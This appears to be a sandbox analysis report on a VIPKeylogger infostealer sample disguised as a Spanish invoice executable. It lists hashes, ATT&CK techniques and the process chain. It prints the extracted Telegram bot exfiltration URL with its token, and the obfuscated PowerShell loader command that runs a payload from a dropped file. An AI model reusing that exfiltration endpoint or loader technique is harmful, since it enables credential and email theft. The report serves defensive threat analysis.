vipkeylogger | a08ee7cb3c65fd01dc498000358f9f9ef844bcd3c9270a0a47dd65b6ca59b78a

Analysis

max time kernel
147s
max time network
141s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
20/02/2025, 16:25

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General

Target

factura pendiente.exe
Size

1.5MB
MD5

4ec8b156fddfcd481f70148c00f18265
SHA1

e19d33d3a778036d61e3f4139d266a5308f3ba2f
SHA256

7e2c94cf14e1497fa7d624292dd44204ad506de3d8d71e084870735fa8f8c164
SHA512

dc39df162c767834c7e1175e38e2fbd31f640e83077a8b2b395dd41b71ec7f534284864f83f687ac5b46385b0fe47492e8c2a1026c5c6c7820814b7f03ab1efc
SSDEEP

24576:eMwM9cEYUGd3K3fTIyd11F6Ph717SM5vw+WDC5InZ/L9GrsXpJzXo1AH9HBevK9C:eMwVK3fz12PhNSM9w+wCyig5JzXo1Ate

Score

10^/10

vipkeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Family

vipkeylogger

https://api.telegram.org/bot7976785364:AAG01E14p5lnc2jDViau5TEAhyIxlJZ0CRE/sendMessage?chat_id=7804674933

Signatures

VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger
Vipkeylogger family
vipkeylogger

Loads dropped DLL 1 IoCs

pid	Process
4312	factura pendiente.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1294999112-580688058-1763548717-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-1294999112-580688058-1763548717-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-1294999112-580688058-1763548717-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

Blocklisted process makes network request 8 IoCs

flow	pid	Process
28	400	msiexec.exe
30	400	msiexec.exe
32	400	msiexec.exe
34	400	msiexec.exe
38	400	msiexec.exe
41	400	msiexec.exe
43	400	msiexec.exe
49	400	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
27	drive.google.com
28	drive.google.com

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
40	checkip.dyndns.org
42	reallyfreegeoip.org
43	reallyfreegeoip.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
400	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4860	powershell.exe
400	msiexec.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\ferieaftalernes\udbringningen.gru	factura pendiente.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4860	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	factura pendiente.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
400	msiexec.exe
400	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
4860	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	4860	powershell.exe
Token: SeIncreaseQuotaPrivilege	4860	powershell.exe
Token: SeSecurityPrivilege	4860	powershell.exe
Token: SeTakeOwnershipPrivilege	4860	powershell.exe
Token: SeLoadDriverPrivilege	4860	powershell.exe
Token: SeSystemProfilePrivilege	4860	powershell.exe
Token: SeSystemtimePrivilege	4860	powershell.exe
Token: SeProfSingleProcessPrivilege	4860	powershell.exe
Token: SeIncBasePriorityPrivilege	4860	powershell.exe
Token: SeCreatePagefilePrivilege	4860	powershell.exe
Token: SeBackupPrivilege	4860	powershell.exe
Token: SeRestorePrivilege	4860	powershell.exe
Token: SeShutdownPrivilege	4860	powershell.exe
Token: SeDebugPrivilege	4860	powershell.exe
Token: SeSystemEnvironmentPrivilege	4860	powershell.exe
Token: SeRemoteShutdownPrivilege	4860	powershell.exe
Token: SeUndockPrivilege	4860	powershell.exe
Token: SeManageVolumePrivilege	4860	powershell.exe
Token: 33	4860	powershell.exe
Token: 34	4860	powershell.exe
Token: 35	4860	powershell.exe
Token: 36	4860	powershell.exe
Token: SeDebugPrivilege	400	msiexec.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4312 wrote to memory of 4860	4312	factura pendiente.exe	89
PID 4312 wrote to memory of 4860	4312	factura pendiente.exe	89
PID 4312 wrote to memory of 4860	4312	factura pendiente.exe	89
PID 4860 wrote to memory of 400	4860	powershell.exe	96
PID 4860 wrote to memory of 400	4860	powershell.exe	96
PID 4860 wrote to memory of 400	4860	powershell.exe	96
PID 4860 wrote to memory of 400	4860	powershell.exe	96

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1294999112-580688058-1763548717-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1294999112-580688058-1763548717-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

C:\Users\Admin\AppData\Local\Temp\factura pendiente.exe
"C:\Users\Admin\AppData\Local\Temp\factura pendiente.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4312
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle minimized "$Janikas=gc -Raw 'C:\Users\Admin\AppData\Roaming\svampestuvningernes\Circumcising\Subcommissionership\Feedbag\Reenjoying.Pos';$Attesters=$Janikas.SubString(56969,3);.$Attesters($Janikas)"
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4860
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:400

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_imnxx31c.4t1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsxBEEC.tmp\nsExec.dll

Filesize
7KB

MD5
4c77a65bb121bb7f2910c1fa3cb38337

SHA1
94531e3c6255125c1a85653174737d275bc35838

SHA256
5e66489393f159aa0fd30b630bb345d03418e9324e7d834b2e4195865a637cfe

SHA512
df50eadf312469c56996c67007d31b85d00e91a4f40355e786536fc0336ac9c2fd8ad9df6e65ab390cc6f031aca28c92212ea23cc40eb600b82a63be3b5b8c04

Download Submit
C:\Users\Admin\AppData\Roaming\svampestuvningernes\Circumcising\Subcommissionership\Feedbag\Reenjoying.Pos

Filesize
55KB

MD5
b1900f725fdad25bd4aeb9a6f2f2c924

SHA1
d51648a46eb9d76709835b81f80a66502cb13a91

SHA256
8ba966646c30bfdacb67109ea74cbde3c3055c9595034146eb0bb4cd3c43d699

SHA512
381af4760ce6144e05f5a95e913bdc04a043215025f0be47fbba466cf2f501fca1be4f46b224bb95fee9a89aebe61093573d6e934ab62d62703af116262264f3

Download Submit
C:\Users\Admin\AppData\Roaming\svampestuvningernes\Circumcising\Subcommissionership\Feedbag\nosing.Ung

Filesize
312KB

MD5
e843173b491bfd25e4fc5ff210197a3d

SHA1
243188cb76a40ed7754507f1d17f4f28b9195fae

SHA256
30d0c2fd6b83b78f44f457a6a5a6f8a8add467ceec517b7ead3b74fecda8aa13

SHA512
b44d29eb1053e9d45b412c8072debeda8754e5a5d7bcb19ba0796065e5b6927ce6d733d185b68903e55eba8bdc2c50b919527fb7f703166b542388d6e71b39c2

Download Submit
memory/400-98-0x0000000001000000-0x0000000002254000-memory.dmp

Filesize
18.3MB

Download
memory/400-99-0x0000000001000000-0x000000000104A000-memory.dmp

Filesize
296KB

Download
memory/400-106-0x00000000247B0000-0x00000000247BA000-memory.dmp

Filesize
40KB

Download
memory/400-105-0x00000000247F0000-0x0000000024882000-memory.dmp

Filesize
584KB

Download
memory/400-103-0x00000000246D0000-0x0000000024720000-memory.dmp

Filesize
320KB

Download
memory/400-102-0x0000000024E90000-0x0000000025052000-memory.dmp

Filesize
1.8MB

Download
memory/400-100-0x0000000024210000-0x00000000242AC000-memory.dmp

Filesize
624KB

Download
memory/4860-64-0x0000000073770000-0x0000000073F20000-memory.dmp

Filesize
7.7MB

Download
memory/4860-69-0x0000000007ED0000-0x0000000007EDE000-memory.dmp

Filesize
56KB

Download
memory/4860-32-0x00000000054C0000-0x0000000005526000-memory.dmp

Filesize
408KB

Download
memory/4860-39-0x0000000005CE0000-0x0000000006034000-memory.dmp

Filesize
3.3MB

Download
memory/4860-44-0x00000000061E0000-0x00000000061FE000-memory.dmp

Filesize
120KB

Download
memory/4860-45-0x0000000006210000-0x000000000625C000-memory.dmp

Filesize
304KB

Download
memory/4860-46-0x00000000072B0000-0x0000000007346000-memory.dmp

Filesize
600KB

Download
memory/4860-47-0x00000000066C0000-0x00000000066DA000-memory.dmp

Filesize
104KB

Download
memory/4860-48-0x0000000006740000-0x0000000006762000-memory.dmp

Filesize
136KB

Download
memory/4860-49-0x0000000007900000-0x0000000007EA4000-memory.dmp

Filesize
5.6MB

Download
memory/4860-51-0x0000000008530000-0x0000000008BAA000-memory.dmp

Filesize
6.5MB

Download
memory/4860-53-0x000000006FC00000-0x000000006FC4C000-memory.dmp

Filesize
304KB

Download
memory/4860-52-0x0000000007600000-0x0000000007632000-memory.dmp

Filesize
200KB

Download
memory/4860-31-0x0000000005320000-0x0000000005342000-memory.dmp

Filesize
136KB

Download
memory/4860-63-0x00000000075E0000-0x00000000075FE000-memory.dmp

Filesize
120KB

Download
memory/4860-65-0x0000000007650000-0x00000000076F3000-memory.dmp

Filesize
652KB

Download
memory/4860-66-0x0000000073770000-0x0000000073F20000-memory.dmp

Filesize
7.7MB

Download
memory/4860-67-0x0000000007770000-0x000000000777A000-memory.dmp

Filesize
40KB

Download
memory/4860-68-0x00000000078D0000-0x00000000078E1000-memory.dmp

Filesize
68KB

Download
memory/4860-33-0x0000000005530000-0x0000000005596000-memory.dmp

Filesize
408KB

Download
memory/4860-70-0x0000000007EE0000-0x0000000007EF4000-memory.dmp

Filesize
80KB

Download
memory/4860-71-0x0000000007F20000-0x0000000007F3A000-memory.dmp

Filesize
104KB

Download
memory/4860-72-0x0000000007F10000-0x0000000007F18000-memory.dmp

Filesize
32KB

Download
memory/4860-73-0x0000000007F70000-0x0000000007F9A000-memory.dmp

Filesize
168KB

Download
memory/4860-74-0x0000000007FA0000-0x0000000007FC4000-memory.dmp

Filesize
144KB

Download
memory/4860-75-0x0000000073770000-0x0000000073F20000-memory.dmp

Filesize
7.7MB

Download
memory/4860-77-0x0000000073770000-0x0000000073F20000-memory.dmp

Filesize
7.7MB

Download
memory/4860-79-0x0000000073770000-0x0000000073F20000-memory.dmp

Filesize
7.7MB

Download
memory/4860-80-0x000000007377E000-0x000000007377F000-memory.dmp

Filesize
4KB

Download
memory/4860-81-0x0000000008BB0000-0x000000000CE2F000-memory.dmp

Filesize
66.5MB

Download
memory/4860-82-0x0000000073770000-0x0000000073F20000-memory.dmp

Filesize
7.7MB

Download
memory/4860-83-0x0000000073770000-0x0000000073F20000-memory.dmp

Filesize
7.7MB

Download
memory/4860-30-0x0000000073770000-0x0000000073F20000-memory.dmp

Filesize
7.7MB

Download
memory/4860-29-0x00000000056B0000-0x0000000005CD8000-memory.dmp

Filesize
6.2MB

Download
memory/4860-28-0x0000000073770000-0x0000000073F20000-memory.dmp

Filesize
7.7MB

Download
memory/4860-27-0x00000000028A0000-0x00000000028D6000-memory.dmp

Filesize
216KB

Download
memory/4860-26-0x000000007377E000-0x000000007377F000-memory.dmp

Filesize
4KB

Download
memory/4860-84-0x0000000073770000-0x0000000073F20000-memory.dmp

Filesize
7.7MB

Download
memory/4860-85-0x0000000073770000-0x0000000073F20000-memory.dmp

Filesize
7.7MB

Download